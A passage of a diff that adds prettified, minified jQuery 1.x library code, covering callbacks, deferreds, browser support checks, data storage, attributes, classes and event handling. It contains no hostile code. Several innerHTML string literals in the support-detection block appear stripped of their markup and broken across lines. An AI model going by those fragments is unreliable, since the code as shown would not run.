t[n] = !0; + }), + t + ); + } + (b.Callbacks = function (e) { + e = 'string' == typeof e ? _[e] || F(e) : b.extend({}, e); + var n, + r, + i, + o, + a, + s, + u = [], + l = !e.once && [], + c = function (t) { + for ( + r = e.memory && t, + i = !0, + a = s || 0, + s = 0, + o = u.length, + n = !0; + u && o > a; + a++ + ) + if (u[a].apply(t[0], t[1]) === !1 && e.stopOnFalse) { + r = !1; + break; + } + (n = !1), + u && + (l + ? l.length && c(l.shift()) + : r + ? (u = []) + : p.disable()); + }, + p = { + add: function () { + if (u) { + var t = u.length; + (function i(t) { + b.each(t, function (t, n) { + var r = b.type(n); + 'function' === r + ? (e.unique && p.has(n)) || u.push(n) + : n && n.length && 'string' !== r && i(n); + }); + })(arguments), + n ? (o = u.length) : r && ((s = t), c(r)); + } + return this; + }, + remove: function () { + return ( + u && + b.each(arguments, function (e, t) { + var r; + while ((r = b.inArray(t, u, r)) > -1) + u.splice(r, 1), + n && (o >= r && o--, a >= r && a--); + }), + this + ); + }, + has: function (e) { + return e ? b.inArray(e, u) > -1 : !(!u || !u.length); + }, + empty: function () { + return (u = []), this; + }, + disable: function () { + return (u = l = r = t), this; + }, + disabled: function () { + return !u; + }, + lock: function () { + return (l = t), r || p.disable(), this; + }, + locked: function () { + return !l; + }, + fireWith: function (e, t) { + return ( + (t = t || []), + (t = [e, t.slice ? t.slice() : t]), + !u || (i && !l) || (n ? l.push(t) : c(t)), + this + ); + }, + fire: function () { + return p.fireWith(this, arguments), this; + }, + fired: function () { + return !!i; + }, + }; + return p; + }), + b.extend({ + Deferred: function (e) { + var t = [ + [ + 'resolve', + 'done', + b.Callbacks('once memory'), + 'resolved', + ], + [ + 'reject', + 'fail', + b.Callbacks('once memory'), + 'rejected', + ], + ['notify', 'progress', b.Callbacks('memory')], + ], + n = 'pending', + r = { + state: function () { + return n; + }, + always: function () { + return i.done(arguments).fail(arguments), this; + }, + then: function () { + var e = arguments; + return b + .Deferred(function (n) { + b.each(t, function (t, o) { + var a = o[0], + s = b.isFunction(e[t]) && e[t]; + i[o[1]](function () { + var e = + s && s.apply(this, arguments); + e && b.isFunction(e.promise) + ? e + .promise() + .done(n.resolve) + .fail(n.reject) + .progress(n.notify) + : n[a + 'With']( + this === r + ? n.promise() + : this, + s ? [e] : arguments, + ); + }); + }), + (e = null); + }) + .promise(); + }, + promise: function (e) { + return null != e ? b.extend(e, r) : r; + }, + }, + i = {}; + return ( + (r.pipe = r.then), + b.each(t, function (e, o) { + var a = o[2], + s = o[3]; + (r[o[1]] = a.add), + s && + a.add( + function () { + n = s; + }, + t[1 ^ e][2].disable, + t[2][2].lock, + ), + (i[o[0]] = function () { + return ( + i[o[0] + 'With']( + this === i ? r : this, + arguments, + ), + this + ); + }), + (i[o[0] + 'With'] = a.fireWith); + }), + r.promise(i), + e && e.call(i, i), + i + ); + }, + when: function (e) { + var t = 0, + n = h.call(arguments), + r = n.length, + i = 1 !== r || (e && b.isFunction(e.promise)) ? r : 0, + o = 1 === i ? e : b.Deferred(), + a = function (e, t, n) { + return function (r) { + (t[e] = this), + (n[e] = + arguments.length > 1 + ? h.call(arguments) + : r), + n === s + ? o.notifyWith(t, n) + : --i || o.resolveWith(t, n); + }; + }, + s, + u, + l; + if (r > 1) + for (s = Array(r), u = Array(r), l = Array(r); r > t; t++) + n[t] && b.isFunction(n[t].promise) + ? n[t] + .promise() + .done(a(t, l, n)) + .fail(o.reject) + .progress(a(t, u, s)) + : --i; + return i || o.resolveWith(l, n), o.promise(); + }, + }), + (b.support = (function () { + var t, + n, + r, + a, + s, + u, + l, + c, + p, + f, + d = o.createElement('div'); + if ( + (d.setAttribute('className', 't'), + (d.innerHTML = + "
    a"), + (n = d.getElementsByTagName('*')), + (r = d.getElementsByTagName('a')[0]), + !n || !r || !n.length) + ) + return {}; + (s = o.createElement('select')), + (l = s.appendChild(o.createElement('option'))), + (a = d.getElementsByTagName('input')[0]), + (r.style.cssText = 'top:1px;float:left;opacity:.5'), + (t = { + getSetAttribute: 't' !== d.className, + leadingWhitespace: 3 === d.firstChild.nodeType, + tbody: !d.getElementsByTagName('tbody').length, + htmlSerialize: !!d.getElementsByTagName('link').length, + style: /top/.test(r.getAttribute('style')), + hrefNormalized: '/a' === r.getAttribute('href'), + opacity: /^0.5/.test(r.style.opacity), + cssFloat: !!r.style.cssFloat, + checkOn: !!a.value, + optSelected: l.selected, + enctype: !!o.createElement('form').enctype, + html5Clone: + '<:nav>' !== + o.createElement('nav').cloneNode(!0).outerHTML, + boxModel: 'CSS1Compat' === o.compatMode, + deleteExpando: !0, + noCloneEvent: !0, + inlineBlockNeedsLayout: !1, + shrinkWrapBlocks: !1, + reliableMarginRight: !0, + boxSizingReliable: !0, + pixelPosition: !1, + }), + (a.checked = !0), + (t.noCloneChecked = a.cloneNode(!0).checked), + (s.disabled = !0), + (t.optDisabled = !l.disabled); + try { + delete d.test; + } catch (h) { + t.deleteExpando = !1; + } + (a = o.createElement('input')), + a.setAttribute('value', ''), + (t.input = '' === a.getAttribute('value')), + (a.value = 't'), + a.setAttribute('type', 'radio'), + (t.radioValue = 't' === a.value), + a.setAttribute('checked', 't'), + a.setAttribute('name', 't'), + (u = o.createDocumentFragment()), + u.appendChild(a), + (t.appendChecked = a.checked), + (t.checkClone = u + .cloneNode(!0) + .cloneNode(!0).lastChild.checked), + d.attachEvent && + (d.attachEvent('onclick', function () { + t.noCloneEvent = !1; + }), + d.cloneNode(!0).click()); + for (f in {submit: !0, change: !0, focusin: !0}) + d.setAttribute((c = 'on' + f), 't'), + (t[f + 'Bubbles'] = + c in e || d.attributes[c].expando === !1); + return ( + (d.style.backgroundClip = 'content-box'), + (d.cloneNode(!0).style.backgroundClip = ''), + (t.clearCloneStyle = 'content-box' === d.style.backgroundClip), + b(function () { + var n, + r, + a, + s = + 'padding:0;margin:0;border:0;display:block;box-sizing:content-box;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;', + u = o.getElementsByTagName('body')[0]; + u && + ((n = o.createElement('div')), + (n.style.cssText = + 'border:0;width:0;height:0;position:absolute;top:0;left:-9999px;margin-top:1px'), + u.appendChild(n).appendChild(d), + (d.innerHTML = + '
    t
    '), + (a = d.getElementsByTagName('td')), + (a[0].style.cssText = + 'padding:0;margin:0;border:0;display:none'), + (p = 0 === a[0].offsetHeight), + (a[0].style.display = ''), + (a[1].style.display = 'none'), + (t.reliableHiddenOffsets = + p && 0 === a[0].offsetHeight), + (d.innerHTML = ''), + (d.style.cssText = + 'box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;padding:1px;border:1px;display:block;width:4px;margin-top:1%;position:absolute;top:1%;'), + (t.boxSizing = 4 === d.offsetWidth), + (t.doesNotIncludeMarginInBodyOffset = + 1 !== u.offsetTop), + e.getComputedStyle && + ((t.pixelPosition = + '1%' !== + (e.getComputedStyle(d, null) || {}).top), + (t.boxSizingReliable = + '4px' === + (e.getComputedStyle(d, null) || {width: '4px'}) + .width), + (r = d.appendChild(o.createElement('div'))), + (r.style.cssText = d.style.cssText = s), + (r.style.marginRight = r.style.width = '0'), + (d.style.width = '1px'), + (t.reliableMarginRight = !parseFloat( + (e.getComputedStyle(r, null) || {}).marginRight, + ))), + typeof d.style.zoom !== i && + ((d.innerHTML = ''), + (d.style.cssText = + s + + 'width:1px;padding:1px;display:inline;zoom:1'), + (t.inlineBlockNeedsLayout = 3 === d.offsetWidth), + (d.style.display = 'block'), + (d.innerHTML = '
    '), + (d.firstChild.style.width = '5px'), + (t.shrinkWrapBlocks = 3 !== d.offsetWidth), + t.inlineBlockNeedsLayout && (u.style.zoom = 1)), + u.removeChild(n), + (n = d = a = r = null)); + }), + (n = s = u = l = r = a = null), + t + ); + })()); + var O = /(?:\{[\s\S]*\}|\[[\s\S]*\])$/, + B = /([A-Z])/g; + function P(e, n, r, i) { + if (b.acceptData(e)) { + var o, + a, + s = b.expando, + u = 'string' == typeof n, + l = e.nodeType, + p = l ? b.cache : e, + f = l ? e[s] : e[s] && s; + if ((f && p[f] && (i || p[f].data)) || !u || r !== t) + return ( + f || (l ? (e[s] = f = c.pop() || b.guid++) : (f = s)), + p[f] || ((p[f] = {}), l || (p[f].toJSON = b.noop)), + ('object' == typeof n || 'function' == typeof n) && + (i + ? (p[f] = b.extend(p[f], n)) + : (p[f].data = b.extend(p[f].data, n))), + (o = p[f]), + i || (o.data || (o.data = {}), (o = o.data)), + r !== t && (o[b.camelCase(n)] = r), + u + ? ((a = o[n]), null == a && (a = o[b.camelCase(n)])) + : (a = o), + a + ); + } + } + function R(e, t, n) { + if (b.acceptData(e)) { + var r, + i, + o, + a = e.nodeType, + s = a ? b.cache : e, + u = a ? e[b.expando] : b.expando; + if (s[u]) { + if (t && (o = n ? s[u] : s[u].data)) { + b.isArray(t) + ? (t = t.concat(b.map(t, b.camelCase))) + : t in o + ? (t = [t]) + : ((t = b.camelCase(t)), + (t = t in o ? [t] : t.split(' '))); + for (r = 0, i = t.length; i > r; r++) delete o[t[r]]; + if (!(n ? $ : b.isEmptyObject)(o)) return; + } + (n || (delete s[u].data, $(s[u]))) && + (a + ? b.cleanData([e], !0) + : b.support.deleteExpando || s != s.window + ? delete s[u] + : (s[u] = null)); + } + } + } + b.extend({ + cache: {}, + expando: 'jQuery' + (p + Math.random()).replace(/\D/g, ''), + noData: { + embed: !0, + object: 'clsid:D27CDB6E-AE6D-11cf-96B8-444553540000', + applet: !0, + }, + hasData: function (e) { + return ( + (e = e.nodeType ? b.cache[e[b.expando]] : e[b.expando]), + !!e && !$(e) + ); + }, + data: function (e, t, n) { + return P(e, t, n); + }, + removeData: function (e, t) { + return R(e, t); + }, + _data: function (e, t, n) { + return P(e, t, n, !0); + }, + _removeData: function (e, t) { + return R(e, t, !0); + }, + acceptData: function (e) { + if (e.nodeType && 1 !== e.nodeType && 9 !== e.nodeType) return !1; + var t = e.nodeName && b.noData[e.nodeName.toLowerCase()]; + return !t || (t !== !0 && e.getAttribute('classid') === t); + }, + }), + b.fn.extend({ + data: function (e, n) { + var r, + i, + o = this[0], + a = 0, + s = null; + if (e === t) { + if ( + this.length && + ((s = b.data(o)), + 1 === o.nodeType && !b._data(o, 'parsedAttrs')) + ) { + for (r = o.attributes; r.length > a; a++) + (i = r[a].name), + i.indexOf('data-') || + ((i = b.camelCase(i.slice(5))), + W(o, i, s[i])); + b._data(o, 'parsedAttrs', !0); + } + return s; + } + return 'object' == typeof e + ? this.each(function () { + b.data(this, e); + }) + : b.access( + this, + function (n) { + return n === t + ? o + ? W(o, e, b.data(o, e)) + : null + : (this.each(function () { + b.data(this, e, n); + }), + t); + }, + null, + n, + arguments.length > 1, + null, + !0, + ); + }, + removeData: function (e) { + return this.each(function () { + b.removeData(this, e); + }); + }, + }); + function W(e, n, r) { + if (r === t && 1 === e.nodeType) { + var i = 'data-' + n.replace(B, '-$1').toLowerCase(); + if (((r = e.getAttribute(i)), 'string' == typeof r)) { + try { + r = + 'true' === r + ? !0 + : 'false' === r + ? !1 + : 'null' === r + ? null + : +r + '' === r + ? +r + : O.test(r) + ? b.parseJSON(r) + : r; + } catch (o) {} + b.data(e, n, r); + } else r = t; + } + return r; + } + function $(e) { + var t; + for (t in e) + if (('data' !== t || !b.isEmptyObject(e[t])) && 'toJSON' !== t) + return !1; + return !0; + } + b.extend({ + queue: function (e, n, r) { + var i; + return e + ? ((n = (n || 'fx') + 'queue'), + (i = b._data(e, n)), + r && + (!i || b.isArray(r) + ? (i = b._data(e, n, b.makeArray(r))) + : i.push(r)), + i || []) + : t; + }, + dequeue: function (e, t) { + t = t || 'fx'; + var n = b.queue(e, t), + r = n.length, + i = n.shift(), + o = b._queueHooks(e, t), + a = function () { + b.dequeue(e, t); + }; + 'inprogress' === i && ((i = n.shift()), r--), + (o.cur = i), + i && + ('fx' === t && n.unshift('inprogress'), + delete o.stop, + i.call(e, a, o)), + !r && o && o.empty.fire(); + }, + _queueHooks: function (e, t) { + var n = t + 'queueHooks'; + return ( + b._data(e, n) || + b._data(e, n, { + empty: b.Callbacks('once memory').add(function () { + b._removeData(e, t + 'queue'), b._removeData(e, n); + }), + }) + ); + }, + }), + b.fn.extend({ + queue: function (e, n) { + var r = 2; + return ( + 'string' != typeof e && ((n = e), (e = 'fx'), r--), + r > arguments.length + ? b.queue(this[0], e) + : n === t + ? this + : this.each(function () { + var t = b.queue(this, e, n); + b._queueHooks(this, e), + 'fx' === e && + 'inprogress' !== t[0] && + b.dequeue(this, e); + }) + ); + }, + dequeue: function (e) { + return this.each(function () { + b.dequeue(this, e); + }); + }, + delay: function (e, t) { + return ( + (e = b.fx ? b.fx.speeds[e] || e : e), + (t = t || 'fx'), + this.queue(t, function (t, n) { + var r = setTimeout(t, e); + n.stop = function () { + clearTimeout(r); + }; + }) + ); + }, + clearQueue: function (e) { + return this.queue(e || 'fx', []); + }, + promise: function (e, n) { + var r, + i = 1, + o = b.Deferred(), + a = this, + s = this.length, + u = function () { + --i || o.resolveWith(a, [a]); + }; + 'string' != typeof e && ((n = e), (e = t)), (e = e || 'fx'); + while (s--) + (r = b._data(a[s], e + 'queueHooks')), + r && r.empty && (i++, r.empty.add(u)); + return u(), o.promise(n); + }, + }); + var I, + z, + X = /[\t\r\n]/g, + U = /\r/g, + V = /^(?:input|select|textarea|button|object)$/i, + Y = /^(?:a|area)$/i, + J = + /^(?:checked|selected|autofocus|autoplay|async|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped)$/i, + G = /^(?:checked|selected)$/i, + Q = b.support.getSetAttribute, + K = b.support.input; + b.fn.extend({ + attr: function (e, t) { + return b.access(this, b.attr, e, t, arguments.length > 1); + }, + removeAttr: function (e) { + return this.each(function () { + b.removeAttr(this, e); + }); + }, + prop: function (e, t) { + return b.access(this, b.prop, e, t, arguments.length > 1); + }, + removeProp: function (e) { + return ( + (e = b.propFix[e] || e), + this.each(function () { + try { + (this[e] = t), delete this[e]; + } catch (n) {} + }) + ); + }, + addClass: function (e) { + var t, + n, + r, + i, + o, + a = 0, + s = this.length, + u = 'string' == typeof e && e; + if (b.isFunction(e)) + return this.each(function (t) { + b(this).addClass(e.call(this, t, this.className)); + }); + if (u) + for (t = (e || '').match(w) || []; s > a; a++) + if ( + ((n = this[a]), + (r = + 1 === n.nodeType && + (n.className + ? (' ' + n.className + ' ').replace(X, ' ') + : ' '))) + ) { + o = 0; + while ((i = t[o++])) + 0 > r.indexOf(' ' + i + ' ') && (r += i + ' '); + n.className = b.trim(r); + } + return this; + }, + removeClass: function (e) { + var t, + n, + r, + i, + o, + a = 0, + s = this.length, + u = 0 === arguments.length || ('string' == typeof e && e); + if (b.isFunction(e)) + return this.each(function (t) { + b(this).removeClass(e.call(this, t, this.className)); + }); + if (u) + for (t = (e || '').match(w) || []; s > a; a++) + if ( + ((n = this[a]), + (r = + 1 === n.nodeType && + (n.className + ? (' ' + n.className + ' ').replace(X, ' ') + : ''))) + ) { + o = 0; + while ((i = t[o++])) + while (r.indexOf(' ' + i + ' ') >= 0) + r = r.replace(' ' + i + ' ', ' '); + n.className = e ? b.trim(r) : ''; + } + return this; + }, + toggleClass: function (e, t) { + var n = typeof e, + r = 'boolean' == typeof t; + return b.isFunction(e) + ? this.each(function (n) { + b(this).toggleClass( + e.call(this, n, this.className, t), + t, + ); + }) + : this.each(function () { + if ('string' === n) { + var o, + a = 0, + s = b(this), + u = t, + l = e.match(w) || []; + while ((o = l[a++])) + (u = r ? u : !s.hasClass(o)), + s[u ? 'addClass' : 'removeClass'](o); + } else (n === i || 'boolean' === n) && (this.className && b._data(this, '__className__', this.className), (this.className = this.className || e === !1 ? '' : b._data(this, '__className__') || '')); + }); + }, + hasClass: function (e) { + var t = ' ' + e + ' ', + n = 0, + r = this.length; + for (; r > n; n++) + if ( + 1 === this[n].nodeType && + (' ' + this[n].className + ' ') + .replace(X, ' ') + .indexOf(t) >= 0 + ) + return !0; + return !1; + }, + val: function (e) { + var n, + r, + i, + o = this[0]; + { + if (arguments.length) + return ( + (i = b.isFunction(e)), + this.each(function (n) { + var o, + a = b(this); + 1 === this.nodeType && + ((o = i ? e.call(this, n, a.val()) : e), + null == o + ? (o = '') + : 'number' == typeof o + ? (o += '') + : b.isArray(o) && + (o = b.map(o, function (e) { + return null == e ? '' : e + ''; + })), + (r = + b.valHooks[this.type] || + b.valHooks[this.nodeName.toLowerCase()]), + (r && + 'set' in r && + r.set(this, o, 'value') !== t) || + (this.value = o)); + }) + ); + if (o) + return ( + (r = + b.valHooks[o.type] || + b.valHooks[o.nodeName.toLowerCase()]), + r && 'get' in r && (n = r.get(o, 'value')) !== t + ? n + : ((n = o.value), + 'string' == typeof n + ? n.replace(U, '') + : null == n + ? '' + : n) + ); + } + }, + }), + b.extend({ + valHooks: { + option: { + get: function (e) { + var t = e.attributes.value; + return !t || t.specified ? e.value : e.text; + }, + }, + select: { + get: function (e) { + var t, + n, + r = e.options, + i = e.selectedIndex, + o = 'select-one' === e.type || 0 > i, + a = o ? null : [], + s = o ? i + 1 : r.length, + u = 0 > i ? s : o ? i : 0; + for (; s > u; u++) + if ( + ((n = r[u]), + !( + (!n.selected && u !== i) || + (b.support.optDisabled + ? n.disabled + : null !== + n.getAttribute('disabled')) || + (n.parentNode.disabled && + b.nodeName(n.parentNode, 'optgroup')) + )) + ) { + if (((t = b(n).val()), o)) return t; + a.push(t); + } + return a; + }, + set: function (e, t) { + var n = b.makeArray(t); + return ( + b(e) + .find('option') + .each(function () { + this.selected = + b.inArray(b(this).val(), n) >= 0; + }), + n.length || (e.selectedIndex = -1), + n + ); + }, + }, + }, + attr: function (e, n, r) { + var o, + a, + s, + u = e.nodeType; + if (e && 3 !== u && 8 !== u && 2 !== u) + return typeof e.getAttribute === i + ? b.prop(e, n, r) + : ((a = 1 !== u || !b.isXMLDoc(e)), + a && + ((n = n.toLowerCase()), + (o = b.attrHooks[n] || (J.test(n) ? z : I))), + r === t + ? o && + a && + 'get' in o && + null !== (s = o.get(e, n)) + ? s + : (typeof e.getAttribute !== i && + (s = e.getAttribute(n)), + null == s ? t : s) + : null !== r + ? o && + a && + 'set' in o && + (s = o.set(e, r, n)) !== t + ? s + : (e.setAttribute(n, r + ''), r) + : (b.removeAttr(e, n), t)); + }, + removeAttr: function (e, t) { + var n, + r, + i = 0, + o = t && t.match(w); + if (o && 1 === e.nodeType) + while ((n = o[i++])) + (r = b.propFix[n] || n), + J.test(n) + ? !Q && G.test(n) + ? (e[b.camelCase('default-' + n)] = e[r] = + !1) + : (e[r] = !1) + : b.attr(e, n, ''), + e.removeAttribute(Q ? n : r); + }, + attrHooks: { + type: { + set: function (e, t) { + if ( + !b.support.radioValue && + 'radio' === t && + b.nodeName(e, 'input') + ) { + var n = e.value; + return ( + e.setAttribute('type', t), n && (e.value = n), t + ); + } + }, + }, + }, + propFix: { + tabindex: 'tabIndex', + readonly: 'readOnly', + for: 'htmlFor', + class: 'className', + maxlength: 'maxLength', + cellspacing: 'cellSpacing', + cellpadding: 'cellPadding', + rowspan: 'rowSpan', + colspan: 'colSpan', + usemap: 'useMap', + frameborder: 'frameBorder', + contenteditable: 'contentEditable', + }, + prop: function (e, n, r) { + var i, + o, + a, + s = e.nodeType; + if (e && 3 !== s && 8 !== s && 2 !== s) + return ( + (a = 1 !== s || !b.isXMLDoc(e)), + a && ((n = b.propFix[n] || n), (o = b.propHooks[n])), + r !== t + ? o && 'set' in o && (i = o.set(e, r, n)) !== t + ? i + : (e[n] = r) + : o && 'get' in o && null !== (i = o.get(e, n)) + ? i + : e[n] + ); + }, + propHooks: { + tabIndex: { + get: function (e) { + var n = e.getAttributeNode('tabindex'); + return n && n.specified + ? parseInt(n.value, 10) + : V.test(e.nodeName) || + (Y.test(e.nodeName) && e.href) + ? 0 + : t; + }, + }, + }, + }), + (z = { + get: function (e, n) { + var r = b.prop(e, n), + i = 'boolean' == typeof r && e.getAttribute(n), + o = + 'boolean' == typeof r + ? K && Q + ? null != i + : G.test(n) + ? e[b.camelCase('default-' + n)] + : !!i + : e.getAttributeNode(n); + return o && o.value !== !1 ? n.toLowerCase() : t; + }, + set: function (e, t, n) { + return ( + t === !1 + ? b.removeAttr(e, n) + : (K && Q) || !G.test(n) + ? e.setAttribute((!Q && b.propFix[n]) || n, n) + : (e[b.camelCase('default-' + n)] = e[n] = !0), + n + ); + }, + }), + (K && Q) || + (b.attrHooks.value = { + get: function (e, n) { + var r = e.getAttributeNode(n); + return b.nodeName(e, 'input') + ? e.defaultValue + : r && r.specified + ? r.value + : t; + }, + set: function (e, n, r) { + return b.nodeName(e, 'input') + ? ((e.defaultValue = n), t) + : I && I.set(e, n, r); + }, + }), + Q || + ((I = b.valHooks.button = + { + get: function (e, n) { + var r = e.getAttributeNode(n); + return r && + ('id' === n || 'name' === n || 'coords' === n + ? '' !== r.value + : r.specified) + ? r.value + : t; + }, + set: function (e, n, r) { + var i = e.getAttributeNode(r); + return ( + i || + e.setAttributeNode( + (i = e.ownerDocument.createAttribute(r)), + ), + (i.value = n += ''), + 'value' === r || n === e.getAttribute(r) ? n : t + ); + }, + }), + (b.attrHooks.contenteditable = { + get: I.get, + set: function (e, t, n) { + I.set(e, '' === t ? !1 : t, n); + }, + }), + b.each(['width', 'height'], function (e, n) { + b.attrHooks[n] = b.extend(b.attrHooks[n], { + set: function (e, r) { + return '' === r ? (e.setAttribute(n, 'auto'), r) : t; + }, + }); + })), + b.support.hrefNormalized || + (b.each(['href', 'src', 'width', 'height'], function (e, n) { + b.attrHooks[n] = b.extend(b.attrHooks[n], { + get: function (e) { + var r = e.getAttribute(n, 2); + return null == r ? t : r; + }, + }); + }), + b.each(['href', 'src'], function (e, t) { + b.propHooks[t] = { + get: function (e) { + return e.getAttribute(t, 4); + }, + }; + })), + b.support.style || + (b.attrHooks.style = { + get: function (e) { + return e.style.cssText || t; + }, + set: function (e, t) { + return (e.style.cssText = t + ''); + }, + }), + b.support.optSelected || + (b.propHooks.selected = b.extend(b.propHooks.selected, { + get: function (e) { + var t = e.parentNode; + return ( + t && + (t.selectedIndex, + t.parentNode && t.parentNode.selectedIndex), + null + ); + }, + })), + b.support.enctype || (b.propFix.enctype = 'encoding'), + b.support.checkOn || + b.each(['radio', 'checkbox'], function () { + b.valHooks[this] = { + get: function (e) { + return null === e.getAttribute('value') + ? 'on' + : e.value; + }, + }; + }), + b.each(['radio', 'checkbox'], function () { + b.valHooks[this] = b.extend(b.valHooks[this], { + set: function (e, n) { + return b.isArray(n) + ? (e.checked = b.inArray(b(e).val(), n) >= 0) + : t; + }, + }); + }); + var Z = /^(?:input|select|textarea)$/i, + et = /^key/, + tt = /^(?:mouse|contextmenu)|click/, + nt = /^(?:focusinfocus|focusoutblur)$/, + rt = /^([^.]*)(?:\.(.+)|)$/; + function it() { + return !0; + } + function ot() { + return !1; + } + (b.event = { + global: {}, + add: function (e, n, r, o, a) { + var s, + u, + l, + c, + p, + f, + d, + h, + g, + m, + y, + v = b._data(e); + if (v) { + r.handler && ((c = r), (r = c.handler), (a = c.selector)), + r.guid || (r.guid = b.guid++), + (u = v.events) || (u = v.events = {}), + (f = v.handle) || + ((f = v.handle = + function (e) { + return typeof b === i || + (e && b.event.triggered === e.type) + ? t + : b.event.dispatch.apply(f.elem, arguments); + }), + (f.elem = e)), + (n = (n || '').match(w) || ['']), + (l = n.length); + while (l--) + (s = rt.exec(n[l]) || []), + (g = y = s[1]), + (m = (s[2] || '').split('.').sort()), + (p = b.event.special[g] || {}), + (g = (a ? p.delegateType : p.bindType) || g), + (p = b.event.special[g] || {}), + (d = b.extend( + { + type: g, + origType: y, + data: o, + handler: r, + guid: r.guid, + selector: a, + needsContext: + a && b.expr.match.needsContext.test(a), + namespace: m.join('.'), + }, + c, + )), + (h = u[g]) || + ((h = u[g] = []), + (h.delegateCount = 0), + (p.setup && p.setup.call(e, o, m, f) !== !1) || + (e.addEventListener + ? e.addEventListener(g, f, !1) + : e.attachEvent && + e.attachEvent('on' + g, f))), + p.add && + (p.add.call(e, d), + d.handler.guid || (d.handler.guid = r.guid)), + a ? h.splice(h.delegateCount++, 0, d) : h.push(d), + (b.event.global[g] = !0); + e = null; + } + }, + remove: function (e, t, n, r, i) { + var o, + a, + s, + u, + l, + c, + p, + f, + d, + h, + g, + m = b.hasData(e) && b._data(e); + if (m && (c = m.events)) { + (t = (t || '').match(w) || ['']), (l = t.length); + while (l--) + if ( + ((s = rt.exec(t[l]) || []), + (d = g = s[1]), + (h = (s[2] || '').split('.').sort()), + d) + ) { + (p = b.event.special[d] || {}), + (d = (r ? p.delegateType : p.bindType) || d), + (f = c[d] || []), + (s = + s[2] && + RegExp( + '(^|\\.)' + + h.join('\\.(?:.*\\.|)') + + '(\\.|$)', + )), + (u = o = f.length); + while (o--) + (a = f[o]), + (!i && g !== a.origType) || + (n && n.guid !== a.guid) || + (s && !s.test(a.namespace)) || + (r && + r !== a.selector && + ('**' !== r || !a.selector)) || + (f.splice(o, 1), + a.selector && f.delegateCount--, + p.remove && p.remove.call(e, a)); + u && + !f.length && + ((p.teardown && + p.teardown.call(e, h, m.handle) !== !1) || + b.removeEvent(e, d, m.handle), + delete c[d]); + } else for (d in c) b.event.remove(e, d + t[l], n, r, !0); + b.isEmptyObject(c) && + (delete m.handle, b._removeData(e, 'events')); + } + }, + trigger: function (n, r, i, a) { + var s, + u, + l, + c, + p, + f, + d, + h = [i || o], + g = y.call(n, 'type') ? n.type : n, + m = y.call(n, 'namespace') ? n.namespace.split('.') : []; + if ( + ((l = f = i = i || o), + 3 !== i.nodeType && + 8 !== i.nodeType && + !nt.test(g + b.event.triggered) && + (g.indexOf('.') >= 0 && + ((m = g.split('.')), (g = m.shift()), m.sort()), + (u = 0 > g.indexOf(':') && 'on' + g), + (n = n[b.expando] + ? n + : new b.Event(g, 'object' == typeof n && n)), + (n.isTrigger = !0), + (n.namespace = m.join('.')), + (n.namespace_re = n.namespace + ? RegExp( + '(^|\\.)' + m.join('\\.(?:.*\\.|)') + '(\\.|$)', + ) + : null), + (n.result = t), + n.target || (n.target = i), + (r = null == r ? [n] : b.makeArray(r, [n])), + (p = b.event.special[g] || {}), + a || !p.trigger || p.trigger.apply(i, r) !== !1)) + ) { + if (!a && !p.noBubble && !b.isWindow(i)) { + for ( + c = p.delegateType || g, + nt.test(c + g) || (l = l.parentNode); + l; + l = l.parentNode + ) + h.push(l), (f = l); + f === (i.ownerDocument || o) && + h.push(f.defaultView || f.parentWindow || e); + } + d = 0; + while ((l = h[d++]) && !n.isPropagationStopped()) + (n.type = d > 1 ? c : p.bindType || g), + (s = + (b._data(l, 'events') || {})[n.type] && + b._data(l, 'handle')), + s && s.apply(l, r), + (s = u && l[u]), + s && + b.acceptData(l) && + s.apply && + s.apply(l, r) === !1 && + n.preventDefault(); + if ( + ((n.type = g), + !( + a || + n.isDefaultPrevented() || + (p._default && + p._default.apply(i.ownerDocument, r) !== !1) || + ('click' === g && b.nodeName(i, 'a')) || + !b.acceptData(i) || + !u || + !i[g] || + b.isWindow(i) + )) + ) { + (f = i[u]), f && (i[u] = null), (b.event.triggered = g); + try { + i[g](); + } catch (v) {} + (b.event.triggered = t), f && (i[u] = f); + } + return n.result; + } + }, + dispatch: function (e) { + e = b.event.fix(e); + var n, + r, + i, + o, + a, + s = [], + u = h.call(arguments), + l = (b._data(this, 'events') || {})[e.type] || [], + c = b.event.special[e.type] || {}; + if ( + ((u[0] = e), + (e.delegateTarget = this), + !c.preDispatch || c.preDispatch.call(this, e) !== !1) + ) { + (s = b.event.handlers.call(this, e, l)), (n = 0); + while ((o = s[n++]) && !e.isPropagationStopped()) { + (e.currentTarget = o.elem), (a = 0); + while ( + (i = o.handlers[a++]) && + !e.isImmediatePropagationStopped() + ) + (!e.namespace_re || e.namespace_re.test(i.namespace)) && + ((e.handleObj = i), + (e.data = i.data), + (r = ( + (b.event.special[i.origType] || {}).handle || + i.handler + ).apply(o.elem, u)), + r !== t && + (e.result = r) === !1 && + (e.preventDefault(), e.stopPropagation())); + } + return c.postDispatch && c.postDispatch.call(this, e), e.result; + } + }, + handlers: function (e, n) { + var r, + i, + o, + a, + s = [], + u = n.delegateCount, + l = e.target; + if (u && l.nodeType && (!e.button || 'click' !== e.type)) + for (; l != this; l = l.parentNode || this) + if ( + 1 === l.nodeType && + (l.disabled !== !0 || 'click' !== e.type) + ) { + for (o = [], a = 0; u > a; a++) + (i = n[a]), + (r = i.selector + ' '), + o[r] === t && + (o[r] = i.needsContext + ? b(r, this).index(l) >= 0 + : b.find(r, this, null, [l]).length), + o[r] && o.push(i); + o.length && s.push({elem: l, handlers: o}); + } + return ( + n.length > u && s.push({elem: this, handlers: n.slice(u)}), s + ); + }, + fix: function (e) { + if (e[b.expando]) return e; + var t, + n, + r, + i = e.type, + a = e, + s = this.fixHooks[i]; + s || + (this.fixHooks[i] = s = + tt.test(i) + ? this.mouseHooks + : et.test(i) + ? this.keyHooks + : {}), + (r = s.props ? this.props.concat(s.props) : this.props), + (e = new b.Event(a)), + (t = r.length); + while (t--) (n = r[t]), (e[n] = a[n]); + return ( + e.target || (e.target = a.srcElement || o), + 3 === e.target.nodeType && (e.target = e.target.parentNode), + (e.metaKey = !!e.metaKey), + s.filter ? s.filter(e, a) : e + ); + }, + props: 'altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which'.split( + ' ', + ), + fixHooks: {}, + keyHooks: { + props: 'char charCode key keyCode'.split(' '), + filter: function (e, t) { + return ( + null == e.which && + (e.which = null != t.charCode ? t.charCode : t.keyCode), + e + ); + }, + }, + mouseHooks: { + props: 'button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement'.split( + ' ', + 